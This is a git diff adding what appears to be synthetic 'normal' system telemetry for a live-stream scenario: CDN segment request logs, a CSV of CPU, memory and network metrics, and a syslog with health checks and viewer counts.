/live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:05:00 cdn-server[4501]: GET /live/product-launch-2025/segment130.ts status=200 OK +Aug 22 10:05:00 cdn-server[4501]: GET /live/product-launch-2025/segment141.ts status=200 OK +Aug 22 10:05:00 cdn-server[4501]: GET /live/product-launch-2025/segment307.ts status=200 OK +Aug 22 10:05:00 cdn-server[4501]: GET /live/product-launch-2025/segment326.ts status=206 Partial Content +Aug 22 10:05:00 cdn-server[4501]: GET /live/product-launch-2025/segment414.ts status=200 OK +Aug 22 10:05:00 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:05:00 kubelet[1989]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:05:05 cdn-server[4501]: GET /live/product-launch-2025/segment134.ts status=200 OK +Aug 22 10:05:05 cdn-server[4501]: GET /live/product-launch-2025/segment164.ts status=200 OK +Aug 22 10:05:05 cdn-server[4501]: GET /live/product-launch-2025/segment331.ts status=200 OK +Aug 22 10:05:05 cdn-server[4501]: GET /live/product-launch-2025/segment370.ts status=200 OK +Aug 22 10:05:05 cdn-server[4501]: GET /live/product-launch-2025/segment438.ts status=200 OK +Aug 22 10:05:05 cdn-server[4501]: GET /live/product-launch-2025/segment458.ts status=200 OK +Aug 22 10:05:10 cdn-server[4501]: GET /live/product-launch-2025/segment101.ts status=206 Partial Content +Aug 22 10:05:10 cdn-server[4501]: GET /live/product-launch-2025/segment337.ts status=200 OK +Aug 22 10:05:10 cdn-server[4501]: GET /live/product-launch-2025/segment460.ts status=206 Partial Content +Aug 22 10:05:15 cdn-server[4501]: GET /live/product-launch-2025/segment121.ts status=200 OK +Aug 22 10:05:15 cdn-server[4501]: GET /live/product-launch-2025/segment180.ts status=200 OK +Aug 22 10:05:15 cdn-server[4501]: GET /live/product-launch-2025/segment499.ts status=200 OK +Aug 22 10:05:20 cdn-server[4501]: GET /live/product-launch-2025/segment129.ts status=200 OK +Aug 22 10:05:20 cdn-server[4501]: GET /live/product-launch-2025/segment314.ts status=206 Partial Content +Aug 22 10:05:20 cdn-server[4501]: GET /live/product-launch-2025/segment347.ts status=206 Partial Content +Aug 22 10:05:20 cdn-server[4501]: GET /live/product-launch-2025/segment432.ts status=200 OK +Aug 22 10:05:20 cdn-server[4501]: GET /live/product-launch-2025/segment435.ts status=206 Partial Content +Aug 22 10:05:20 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:05:25 cdn-server[4501]: GET /live/product-launch-2025/segment142.ts status=206 Partial Content +Aug 22 10:05:25 cdn-server[4501]: GET /live/product-launch-2025/segment187.ts status=206 Partial Content +Aug 22 10:05:25 cdn-server[4501]: GET /live/product-launch-2025/segment215.ts status=206 Partial Content +Aug 22 10:05:25 cdn-server[4501]: GET /live/product-launch-2025/segment354.ts status=206 Partial Content +Aug 22 10:05:25 cdn-server[4501]: GET /live/product-launch-2025/segment376.ts status=200 OK +Aug 22 10:05:25 cdn-server[4501]: GET /live/product-launch-2025/segment433.ts status=200 OK +Aug 22 10:05:30 cdn-server[4501]: GET /live/product-launch-2025/segment169.ts status=200 OK +Aug 22 10:05:30 cdn-server[4501]: GET /live/product-launch-2025/segment333.ts status=200 OK +Aug 22 10:05:30 cdn-server[4501]: GET /live/product-launch-2025/segment459.ts status=206 Partial Content +Aug 22 10:05:30 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:05:35 cdn-server[4501]: GET /live/product-launch-2025/segment105.ts status=200 OK +Aug 22 10:05:35 cdn-server[4501]: GET /live/product-launch-2025/segment301.ts status=200 OK +Aug 22 10:05:35 cdn-server[4501]: GET /live/product-launch-2025/segment311.ts status=200 OK +Aug 22 10:05:40 cdn-server[4501]: GET /live/product-launch-2025/segment205.ts status=206 Partial Content +Aug 22 10:05:40 cdn-server[4501]: GET /live/product-launch-2025/segment315.ts status=200 OK +Aug 22 10:05:40 cdn-server[4501]: GET /live/product-launch-2025/segment391.ts status=200 OK +Aug 22 10:05:40 cdn-server[4501]: GET /live/product-launch-2025/segment428.ts status=206 Partial Content +Aug 22 10:05:40 cdn-server[4501]: GET /live/product-launch-2025/segment437.ts status=200 OK +Aug 22 10:05:40 cdn-server[4501]: GET /live/product-launch-2025/segment486.ts status=206 Partial Content +Aug 22 10:05:45 cdn-server[4501]: GET /live/product-launch-2025/segment167.ts status=200 OK +Aug 22 10:05:45 cdn-server[4501]: GET /live/product-launch-2025/segment362.ts status=200 OK +Aug 22 10:05:45 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:05:50 cdn-server[4501]: GET /live/product-launch-2025/segment283.ts status=206 Partial Content +Aug 22 10:05:50 cdn-server[4501]: GET /live/product-launch-2025/segment360.ts status=206 Partial Content +Aug 22 10:05:50 cdn-server[4501]: GET /live/product-launch-2025/segment386.ts status=206 Partial Content +Aug 22 10:05:50 cdn-server[4501]: GET /live/product-launch-2025/segment414.ts status=206 Partial Content +Aug 22 10:05:50 cdn-server[4501]: GET /live/product-launch-2025/segment491.ts status=200 OK +Aug 22 10:05:55 cdn-server[4501]: GET /live/product-launch-2025/segment117.ts status=200 OK +Aug 22 10:05:55 cdn-server[4501]: GET /live/product-launch-2025/segment138.ts status=206 Partial Content +Aug 22 10:05:55 cdn-server[4501]: GET /live/product-launch-2025/segment181.ts status=200 OK +Aug 22 10:05:55 cdn-server[4501]: GET /live/product-launch-2025/segment264.ts status=200 OK +Aug 22 10:05:55 cdn-server[4501]: GET /live/product-launch-2025/segment477.ts status=200 OK +Aug 22 10:05:55 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:06:00 cdn-server[4501]: GET /live/product-launch-2025/segment147.ts status=206 Partial Content +Aug 22 10:06:00 cdn-server[4501]: GET /live/product-launch-2025/segment196.ts status=200 OK +Aug 22 10:06:00 cdn-server[4501]: GET /live/product-launch-2025/segment210.ts status=200 OK +Aug 22 10:06:00 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:06:00 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:06:05 cdn-server[4501]: GET /live/product-launch-2025/segment101.ts status=206 Partial Content +Aug 22 10:06:05 cdn-server[4501]: GET /live/product-launch-2025/segment137.ts status=200 OK +Aug 22 10:06:05 cdn-server[4501]: GET /live/product-launch-2025/segment221.ts status=200 OK +Aug 22 10:06:10 cdn-server[4501]: GET /live/product-launch-2025/segment306.ts status=200 OK +Aug 22 10:06:10 cdn-server[4501]: GET /live/product-launch-2025/segment361.ts status=206 Partial Content +Aug 22 10:06:10 cdn-server[4501]: GET /live/product-launch-2025/segment454.ts status=206 Partial Content +Aug 22 10:06:10 cdn-server[4501]: GET /live/product-launch-2025/segment498.ts status=206 Partial Content +Aug 22 10:06:10 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:06:15 cdn-server[4501]: GET /live/product-launch-2025/segment100.ts status=200 OK +Aug 22 10:06:15 cdn-server[4501]: GET /live/product-launch-2025/segment216.ts status=200 OK +Aug 22 10:06:15 cdn-server[4501]: GET /live/product-launch-2025/segment328.ts status=206 Partial Content +Aug 22 10:06:15 kubelet[1989]: INFO Liveness probe succeeded for pod web-app-pod +Aug 22 10:06:20 cdn-server[4501]: GET /live/product-launch-2025/segment266.ts status=200 OK +Aug 22 10:06:20 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:06:20 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:06:25 cdn-server[4501]: GET /live/product-launch-2025/segment116.ts status=206 Partial Content +Aug 22 10:06:25 cdn-server[4501]: GET /live/product-launch-2025/segment126.ts status=200 OK +Aug 22 10:06:25 cdn-server[4501]: GET /live/product-launch-2025/segment136.ts status=200 OK +Aug 22 10:06:25 cdn-server[4501]: GET /live/product-launch-2025/segment238.ts status=206 Partial Content +Aug 22 10:06:25 cdn-server[4501]: GET /live/product-launch-2025/segment387.ts status=200 OK +Aug 22 10:06:30 cdn-server[4501]: GET /live/product-launch-2025/segment180.ts status=200 OK +Aug 22 10:06:30 cdn-server[4501]: GET /live/product-launch-2025/segment424.ts status=200 OK +Aug 22 10:06:30 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:06:30 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:06:35 cdn-server[4501]: GET /live/product-launch-2025/segment289.ts status=206 Partial Content +Aug 22 10:06:35 cdn-server[4501]: GET /live/product-launch-2025/segment294.ts status=200 OK +Aug 22 10:06:35 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:06:40 cdn-server[4501]: GET /live/product-launch-2025/segment115.ts status=206 Partial Content +Aug 22 10:06:40 cdn-server[4501]: GET /live/product-launch-2025/segment176.ts status=200 OK +Aug 22 10:06:40 cdn-server[4501]: GET /live/product-launch-2025/segment291.ts status=200 OK +Aug 22 10:06:40 cdn-server[4501]: GET /live/product-launch-2025/segment316.ts status=200 OK +Aug 22 10:06:40 cdn-server[4501]: GET /live/product-launch-2025/segment327.ts status=206 Partial Content +Aug 22 10:06:40 cdn-server[4501]: GET /live/product-launch-2025/segment350.ts status=200 OK +Aug 22 10:06:45 cdn-server[4501]: GET /live/product-launch-2025/segment203.ts status=206 Partial Content +Aug 22 10:06:45 cdn-server[4501]: GET /live/product-launch-2025/segment437.ts status=200 OK +Aug 22 10:06:45 cdn-server[4501]: GET /live/product-launch-2025/segment445.ts status=206 Partial Content +Aug 22 10:06:50 cdn-server[4501]: GET /live/product-launch-2025/segment120.ts status=206 Partial Content +Aug 22 10:06:50 cdn-server[4501]: GET /live/product-launch-2025/segment196.ts status=206 Partial Content +Aug 22 10:06:50 cdn-server[4501]: GET /live/product-launch-2025/segment278.ts status=206 Partial Content +Aug 22 10:06:50 cdn-server[4501]: GET /live/product-launch-2025/segment306.ts status=200 OK +Aug 22 10:06:50 cdn-server[4501]: GET /live/product-launch-2025/segment384.ts status=206 Partial Content +Aug 22 10:06:50 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:06:55 cdn-server[4501]: GET /live/product-launch-2025/segment240.ts status=206 Partial Content +Aug 22 10:06:55 cdn-server[4501]: GET /live/product-launch-2025/segment270.ts status=206 Partial Content +Aug 22 10:06:55 cdn-server[4501]: GET /live/product-launch-2025/segment445.ts status=206 Partial Content +Aug 22 10:06:55 cdn-server[4501]: GET /live/product-launch-2025/segment458.ts status=200 OK +Aug 22 10:07:00 cdn-server[4501]: GET /live/product-launch-2025/segment102.ts status=200 OK +Aug 22 10:07:00 cdn-server[4501]: GET /live/product-launch-2025/segment105.ts status=206 Partial Content +Aug 22 10:07:00 cdn-server[4501]: GET /live/product-launch-2025/segment344.ts status=200 OK +Aug 22 10:07:05 cdn-server[4501]: GET /live/product-launch-2025/segment135.ts status=206 Partial Content +Aug 22 10:07:05 cdn-server[4501]: GET /live/product-launch-2025/segment409.ts status=200 OK +Aug 22 10:07:05 cdn-server[4501]: GET /live/product-launch-2025/segment413.ts status=206 Partial Content +Aug 22 10:07:05 cdn-server[4501]: GET /live/product-launch-2025/segment470.ts status=206 Partial Content +Aug 22 10:07:05 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:07:10 cdn-server[4501]: GET /live/product-launch-2025/segment105.ts status=206 Partial Content +Aug 22 10:07:10 cdn-server[4501]: GET /live/product-launch-2025/segment424.ts status=200 OK +Aug 22 10:07:10 cdn-server[4501]: GET /live/product-launch-2025/segment494.ts status=200 OK +Aug 22 10:07:10 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:07:10 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:07:10 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:07:15 cdn-server[4501]: GET /live/product-launch-2025/segment125.ts status=206 Partial Content +Aug 22 10:07:15 cdn-server[4501]: GET /live/product-launch-2025/segment129.ts status=200 OK +Aug 22 10:07:15 cdn-server[4501]: GET /live/product-launch-2025/segment143.ts status=200 OK +Aug 22 10:07:15 cdn-server[4501]: GET /live/product-launch-2025/segment238.ts status=206 Partial Content +Aug 22 10:07:15 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=200 OK +Aug 22 10:07:20 cdn-server[4501]: GET /live/product-launch-2025/segment208.ts status=200 OK +Aug 22 10:07:20 cdn-server[4501]: GET /live/product-launch-2025/segment410.ts status=200 OK +Aug 22 10:07:20 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:07:25 cdn-server[4501]: GET /live/product-launch-2025/segment154.ts status=206 Partial Content +Aug 22 10:07:25 cdn-server[4501]: GET /live/product-launch-2025/segment270.ts status=200 OK +Aug 22 10:07:25 cdn-server[4501]: GET /live/product-launch-2025/segment374.ts status=200 OK +Aug 22 10:07:25 cdn-server[4501]: GET /live/product-launch-2025/segment405.ts status=200 OK +Aug 22 10:07:25 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content +Aug 22 10:07:25 cdn-server[4501]: GET /live/product-launch-2025/stream.m3u8 status=206 Partial Content diff --git a/norm_dataset/scenario_7/norm_7_29.csv b/norm_dataset/scenario_7/norm_7_29.csv new file mode 100644 index 0000000000000000000000000000000000000000..2aafed4ec4d7eba255f103cc2b5d2725771deb54 --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_29.csv @@ -0,0 +1,91 @@ +timestamp,cpu_usage,mem_usage,disk_io,net_in,net_out +2025-08-22T10:00:00Z,16.53,42.27,8.61,5.16,9.59 +2025-08-22T10:00:05Z,14.35,41.08,7.72,7.6,9.54 +2025-08-22T10:00:10Z,15.19,39.12,8.91,6.12,12.29 +2025-08-22T10:00:15Z,16.57,41.36,12.02,6.74,7.1 +2025-08-22T10:00:20Z,16.8,41.12,12.86,7.22,12.15 +2025-08-22T10:00:25Z,14.98,40.58,10.82,5.95,9.52 +2025-08-22T10:00:30Z,12.78,41.94,9.27,5.28,11.99 +2025-08-22T10:00:35Z,16.76,41.33,12.18,4.0,8.99 +2025-08-22T10:00:40Z,14.27,42.87,11.22,3.99,8.8 +2025-08-22T10:00:45Z,15.03,42.56,11.67,3.89,11.15 +2025-08-22T10:00:50Z,15.49,45.64,7.78,3.99,7.96 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+2025-08-22T10:07:20Z,75.0,74.44,8.41,2.52,701.22 +2025-08-22T10:07:25Z,86.03,74.42,14.63,5.38,806.09 diff --git a/norm_dataset/scenario_7/norm_7_29.log b/norm_dataset/scenario_7/norm_7_29.log new file mode 100644 index 0000000000000000000000000000000000000000..65519c41f0e3fdc8fcb5cb3fd431440ea032913a --- /dev/null +++ b/norm_dataset/scenario_7/norm_7_29.log @@ -0,0 +1,162 @@ +Jul 22 10:00:00 systemd[1]: Starting daily clean up activities... +Jul 22 10:00:00 streaming-app[1888]: GET /api/v1/health status=200 OK +Jul 22 10:00:20 streaming-app[1888]: GET /api/v1/health status=200 OK +Jul 22 10:00:30 systemd[1]: Starting daily clean up activities... +Jul 22 10:00:40 streaming-app[1888]: GET /api/v1/health status=200 OK +Jul 22 10:01:00 systemd[1]: Starting daily clean up activities... +Jul 22 10:01:00 streaming-app[1888]: GET /api/v1/health status=200 OK +Jul 22 10:01:20 streaming-app[1888]: GET /api/v1/health status=200 OK +Jul 22 10:01:30 systemd[1]: Starting daily clean up activities... +Jul 22 10:01:40 streaming-app[1888]: GET /api/v1/health status=200 OK +Jul 22 10:02:00 systemd[1]: Starting daily clean up activities... +Jul 22 10:02:00 streaming-app[1888]: GET /api/v1/health status=200 OK +Jul 22 10:02:15 streaming-app[1888]: INFO: Preparing live stream 'product-launch-2025'. +Jul 22 10:02:20 streaming-app[1888]: GET /api/v1/health status=200 OK +Jul 22 10:02:30 streaming-app[1888]: INFO: Live stream 'product-launch-2025' has started. +Jul 22 10:02:30 cdn-edge-server[5678]: 198.51.109.219 GET /live/product-launch-2025/segment150.ts status=206 Partial Content +Jul 22 10:02:30 cdn-edge-server[5678]: 198.51.101.151 GET /live/product-launch-2025/segment151.ts status=206 Partial Content +Jul 22 10:02:30 cdn-edge-server[5678]: 198.51.101.239 GET /live/product-launch-2025/segment152.ts status=206 Partial Content +Jul 22 10:02:30 cdn-edge-server[5678]: 198.51.107.234 GET /live/product-launch-2025/segment153.ts status=206 Partial Content +Jul 22 10:02:30 cdn-edge-server[5678]: 198.51.100.23 GET /live/product-launch-2025/segment154.ts status=206 Partial Content +Jul 22 10:02:35 cdn-edge-server[5678]: 203.0.117.180 GET /live/product-launch-2025/segment179.ts status=206 Partial Content +Jul 22 10:02:35 cdn-edge-server[5678]: 203.0.111.53 GET /live/product-launch-2025/segment164.ts status=206 Partial Content +Jul 22 10:02:35 cdn-edge-server[5678]: 203.0.117.244 GET /live/product-launch-2025/segment179.ts status=206 Partial Content +Jul 22 10:02:40 cdn-edge-server[5678]: 203.0.110.86 GET /live/product-launch-2025/segment184.ts status=206 Partial Content +Jul 22 10:02:40 cdn-edge-server[5678]: 203.0.119.87 GET /live/product-launch-2025/segment169.ts status=206 Partial Content +Jul 22 10:02:40 cdn-edge-server[5678]: 203.0.114.94 GET /live/product-launch-2025/segment184.ts status=206 Partial Content +Jul 22 10:02:45 cdn-edge-server[5678]: 203.0.110.43 GET /live/product-launch-2025/segment173.ts status=206 Partial Content +Jul 22 10:02:45 cdn-edge-server[5678]: 203.0.111.40 GET /live/product-launch-2025/segment172.ts status=206 Partial Content +Jul 22 10:02:45 cdn-edge-server[5678]: 203.0.116.240 GET /live/product-launch-2025/segment182.ts status=206 Partial Content +Jul 22 10:02:45 cdn-edge-server[5678]: 203.0.119.17 GET /live/product-launch-2025/segment172.ts status=206 Partial Content +Jul 22 10:02:50 cdn-edge-server[5678]: 203.0.119.178 GET /live/product-launch-2025/segment191.ts status=206 Partial Content +Jul 22 10:02:50 cdn-edge-server[5678]: 203.0.118.241 GET /live/product-launch-2025/segment189.ts status=206 Partial Content +Jul 22 10:02:50 cdn-edge-server[5678]: 203.0.113.242 GET /live/product-launch-2025/segment172.ts status=206 Partial Content +Jul 22 10:02:55 cdn-edge-server[5678]: 203.0.113.145 GET /live/product-launch-2025/segment192.ts status=206 Partial Content +Jul 22 10:02:55 cdn-edge-server[5678]: 203.0.110.231 GET /live/product-launch-2025/segment179.ts status=206 Partial Content +Jul 22 10:02:55 cdn-edge-server[5678]: 203.0.113.107 GET /live/product-launch-2025/segment198.ts status=206 Partial Content +Jul 22 10:02:55 streaming-app[1888]: INFO: Current viewers: 50,000. +Jul 22 10:03:00 cdn-edge-server[5678]: 203.0.116.244 GET /live/product-launch-2025/segment189.ts status=206 Partial Content +Jul 22 10:03:00 cdn-edge-server[5678]: 203.0.116.144 GET /live/product-launch-2025/segment190.ts status=206 Partial Content +Jul 22 10:03:05 cdn-edge-server[5678]: 203.0.119.133 GET /live/product-launch-2025/segment197.ts status=206 Partial Content +Jul 22 10:03:05 cdn-edge-server[5678]: 203.0.111.253 GET /live/product-launch-2025/segment190.ts status=206 Partial Content +Jul 22 10:03:10 cdn-edge-server[5678]: 203.0.113.161 GET /live/product-launch-2025/segment212.ts status=206 Partial Content +Jul 22 10:03:10 cdn-edge-server[5678]: 203.0.119.120 GET /live/product-launch-2025/segment208.ts status=206 Partial Content +Jul 22 10:03:15 cdn-edge-server[5678]: 203.0.111.221 GET /live/product-launch-2025/segment208.ts status=206 Partial Content +Jul 22 10:03:15 cdn-edge-server[5678]: 203.0.119.120 GET /live/product-launch-2025/segment214.ts status=206 Partial Content +Jul 22 10:03:15 cdn-edge-server[5678]: 203.0.115.242 GET /live/product-launch-2025/segment207.ts status=206 Partial Content +Jul 22 10:03:15 cdn-edge-server[5678]: 203.0.110.194 GET /live/product-launch-2025/segment197.ts status=206 Partial Content +Jul 22 10:03:25 cdn-edge-server[5678]: 203.0.110.196 GET /live/product-launch-2025/segment223.ts status=206 Partial Content +Jul 22 10:03:25 cdn-edge-server[5678]: 203.0.111.245 GET /live/product-launch-2025/segment211.ts status=206 Partial Content +Jul 22 10:03:25 cdn-edge-server[5678]: 203.0.119.120 GET /live/product-launch-2025/segment217.ts status=206 Partial Content +Jul 22 10:03:35 cdn-edge-server[5678]: 203.0.118.248 GET /live/product-launch-2025/segment234.ts status=206 Partial Content +Jul 22 10:03:35 cdn-edge-server[5678]: 203.0.111.133 GET /live/product-launch-2025/segment236.ts status=206 Partial Content +Jul 22 10:03:35 cdn-edge-server[5678]: 203.0.116.222 GET /live/product-launch-2025/segment219.ts status=206 Partial Content +Jul 22 10:03:35 cdn-edge-server[5678]: 203.0.113.28 GET /live/product-launch-2025/segment229.ts status=206 Partial Content +Jul 22 10:03:40 cdn-edge-server[5678]: 203.0.114.231 GET /live/product-launch-2025/segment227.ts status=206 Partial Content +Jul 22 10:03:40 cdn-edge-server[5678]: 203.0.115.215 GET /live/product-launch-2025/segment229.ts status=206 Partial Content +Jul 22 10:03:45 kubelet[2345]: INFO Liveness probe succeeded for pod streaming-app +Jul 22 10:03:50 cdn-edge-server[5678]: 203.0.114.160 GET /live/product-launch-2025/segment250.ts status=206 Partial Content +Jul 22 10:03:50 cdn-edge-server[5678]: 203.0.119.40 GET /live/product-launch-2025/segment246.ts status=206 Partial Content +Jul 22 10:03:50 cdn-edge-server[5678]: 203.0.111.24 GET /live/product-launch-2025/segment231.ts status=206 Partial Content +Jul 22 10:03:50 cdn-edge-server[5678]: 203.0.111.179 GET /live/product-launch-2025/segment239.ts status=206 Partial Content +Jul 22 10:03:55 cdn-edge-server[5678]: 203.0.110.167 GET /live/product-launch-2025/segment240.ts status=206 Partial Content +Jul 22 10:03:55 cdn-edge-server[5678]: 203.0.114.234 GET /live/product-launch-2025/segment247.ts status=206 Partial Content +Jul 22 10:03:55 cdn-edge-server[5678]: 203.0.115.91 GET /live/product-launch-2025/segment256.ts status=206 Partial Content +Jul 22 10:04:00 cdn-edge-server[5678]: 203.0.116.233 GET /live/product-launch-2025/segment248.ts status=206 Partial Content +Jul 22 10:04:00 cdn-edge-server[5678]: 203.0.119.190 GET /live/product-launch-2025/segment240.ts status=206 Partial Content +Jul 22 10:04:00 cdn-edge-server[5678]: 203.0.115.38 GET /live/product-launch-2025/segment259.ts status=206 Partial Content +Jul 22 10:04:00 cdn-edge-server[5678]: 203.0.117.140 GET /live/product-launch-2025/segment254.ts status=206 Partial Content +Jul 22 10:04:05 cdn-edge-server[5678]: 203.0.112.96 GET /live/product-launch-2025/segment261.ts status=206 Partial Content +Jul 22 10:04:05 cdn-edge-server[5678]: 203.0.114.174 GET /live/product-launch-2025/segment252.ts status=206 Partial Content +Jul 22 10:04:05 cdn-edge-server[5678]: 203.0.113.230 GET /live/product-launch-2025/segment258.ts status=206 Partial Content +Jul 22 10:04:05 cdn-edge-server[5678]: 203.0.119.169 GET /live/product-launch-2025/segment251.ts status=206 Partial Content +Jul 22 10:04:10 cdn-edge-server[5678]: 203.0.110.187 GET /live/product-launch-2025/segment256.ts status=206 Partial Content +Jul 22 10:04:10 cdn-edge-server[5678]: 203.0.114.10 GET /live/product-launch-2025/segment262.ts status=206 Partial Content +Jul 22 10:04:10 streaming-app[1888]: INFO: Current viewers: 85,000. +Jul 22 10:04:15 cdn-edge-server[5678]: 203.0.112.92 GET /live/product-launch-2025/segment274.ts status=206 Partial Content +Jul 22 10:04:15 cdn-edge-server[5678]: 203.0.111.61 GET /live/product-launch-2025/segment264.ts status=206 Partial Content +Jul 22 10:04:15 cdn-edge-server[5678]: 203.0.110.224 GET /live/product-launch-2025/segment273.ts status=206 Partial Content +Jul 22 10:04:20 cdn-edge-server[5678]: 203.0.113.210 GET /live/product-launch-2025/segment281.ts status=206 Partial Content +Jul 22 10:04:20 cdn-edge-server[5678]: 203.0.116.180 GET /live/product-launch-2025/segment269.ts status=206 Partial Content +Jul 22 10:04:20 cdn-edge-server[5678]: 203.0.114.28 GET /live/product-launch-2025/segment283.ts status=206 Partial Content +Jul 22 10:04:20 cdn-edge-server[5678]: 203.0.118.240 GET /live/product-launch-2025/segment263.ts status=206 Partial Content +Jul 22 10:04:25 cdn-edge-server[5678]: 203.0.117.245 GET /live/product-launch-2025/segment268.ts status=206 Partial Content +Jul 22 10:04:25 cdn-edge-server[5678]: 203.0.116.66 GET /live/product-launch-2025/segment268.ts status=206 Partial Content +Jul 22 10:04:30 cdn-edge-server[5678]: 203.0.118.201 GET /live/product-launch-2025/segment274.ts status=206 Partial Content +Jul 22 10:04:30 cdn-edge-server[5678]: 203.0.119.250 GET /live/product-launch-2025/segment289.ts status=206 Partial Content +Jul 22 10:04:30 cdn-edge-server[5678]: 203.0.118.54 GET /live/product-launch-2025/segment286.ts status=206 Partial Content +Jul 22 10:04:30 cdn-edge-server[5678]: 203.0.112.92 GET /live/product-launch-2025/segment272.ts status=206 Partial Content +Jul 22 10:04:35 cdn-edge-server[5678]: 203.0.118.202 GET /live/product-launch-2025/segment277.ts status=206 Partial Content +Jul 22 10:04:35 cdn-edge-server[5678]: 203.0.117.174 GET /live/product-launch-2025/segment286.ts status=206 Partial Content +Jul 22 10:04:35 cdn-edge-server[5678]: 203.0.115.239 GET /live/product-launch-2025/segment280.ts status=206 Partial Content +Jul 22 10:04:40 cdn-edge-server[5678]: 203.0.116.140 GET /live/product-launch-2025/segment280.ts status=206 Partial Content +Jul 22 10:04:40 cdn-edge-server[5678]: 203.0.114.47 GET /live/product-launch-2025/segment296.ts status=206 Partial Content +Jul 22 10:04:45 cdn-edge-server[5678]: 203.0.110.98 GET /live/product-launch-2025/segment292.ts status=206 Partial Content +Jul 22 10:04:45 cdn-edge-server[5678]: 203.0.115.112 GET /live/product-launch-2025/segment286.ts status=206 Partial Content +Jul 22 10:04:45 cdn-edge-server[5678]: 203.0.113.130 GET /live/product-launch-2025/segment296.ts status=206 Partial Content +Jul 22 10:04:45 cdn-edge-server[5678]: 203.0.113.29 GET /live/product-launch-2025/segment305.ts status=206 Partial Content +Jul 22 10:04:50 cdn-edge-server[5678]: 203.0.119.204 GET /live/product-launch-2025/segment306.ts status=206 Partial Content +Jul 22 10:04:50 cdn-edge-server[5678]: 203.0.112.47 GET /live/product-launch-2025/segment311.ts status=206 Partial Content +Jul 22 10:04:55 cdn-edge-server[5678]: 203.0.116.84 GET /live/product-launch-2025/segment309.ts status=206 Partial Content +Jul 22 10:04:55 cdn-edge-server[5678]: 203.0.113.29 GET /live/product-launch-2025/segment296.ts status=206 Partial Content +Jul 22 10:04:55 cdn-edge-server[5678]: 203.0.112.42 GET /live/product-launch-2025/segment306.ts status=206 Partial Content +Jul 22 10:04:55 cdn-edge-server[5678]: 203.0.114.61 GET /live/product-launch-2025/segment301.ts status=206 Partial Content +Jul 22 10:05:00 kubelet[2345]: INFO Liveness probe succeeded for pod streaming-app +Jul 22 10:05:05 cdn-edge-server[5678]: 203.0.110.81 GET /live/product-launch-2025/segment326.ts status=206 Partial Content +Jul 22 10:05:05 cdn-edge-server[5678]: 203.0.115.146 GET /live/product-launch-2025/segment311.ts status=206 Partial Content +Jul 22 10:05:05 cdn-edge-server[5678]: 203.0.117.227 GET /live/product-launch-2025/segment311.ts status=206 Partial Content +Jul 22 10:05:05 cdn-edge-server[5678]: 203.0.114.189 GET /live/product-launch-2025/segment321.ts status=206 Partial Content +Jul 22 10:05:10 cdn-edge-server[5678]: 203.0.117.253 GET /live/product-launch-2025/segment320.ts status=206 Partial Content +Jul 22 10:05:10 cdn-edge-server[5678]: 203.0.116.138 GET /live/product-launch-2025/segment321.ts status=206 Partial Content +Jul 22 10:05:20 cdn-edge-server[5678]: 203.0.117.51 GET /live/product-launch-2025/segment334.ts status=206 Partial Content +Jul 22 10:05:20 cdn-edge-server[5678]: 203.0.118.207 GET /live/product-launch-2025/segment321.ts status=206 Partial Content +Jul 22 10:05:20 cdn-edge-server[5678]: 203.0.115.126 GET /live/product-launch-2025/segment322.ts status=206 Partial Content +Jul 22 10:05:20 cdn-edge-server[5678]: 203.0.116.72 GET /live/product-launch-2025/segment320.ts status=206 Partial Content +Jul 22 10:05:25 cdn-edge-server[5678]: 203.0.113.133 GET /live/product-launch-2025/segment343.ts status=206 Partial Content +Jul 22 10:05:25 cdn-edge-server[5678]: 203.0.117.81 GET /live/product-launch-2025/segment325.ts status=206 Partial Content +Jul 22 10:05:30 cdn-edge-server[5678]: 203.0.112.78 GET /live/product-launch-2025/segment336.ts status=206 Partial Content +Jul 22 10:05:30 cdn-edge-server[5678]: 203.0.116.12 GET /live/product-launch-2025/segment340.ts status=206 Partial Content +Jul 22 10:05:35 cdn-edge-server[5678]: 203.0.115.248 GET /live/product-launch-2025/segment337.ts status=206 Partial Content +Jul 22 10:05:35 cdn-edge-server[5678]: 203.0.111.92 GET /live/product-launch-2025/segment354.ts status=206 Partial Content +Jul 22 10:05:45 cdn-edge-server[5678]: 203.0.110.247 GET /live/product-launch-2025/segment369.ts status=206 Partial Content +Jul 22 10:05:45 cdn-edge-server[5678]: 203.0.113.139 GET /live/product-launch-2025/segment352.ts status=206 Partial Content +Jul 22 10:06:00 cdn-edge-server[5678]: 203.0.114.116 GET /live/product-launch-2025/segment360.ts status=206 Partial Content +Jul 22 10:06:00 cdn-edge-server[5678]: 203.0.116.153 GET /live/product-launch-2025/segment369.ts status=206 Partial Content +Jul 22 10:06:05 cdn-edge-server[5678]: 203.0.112.90 GET 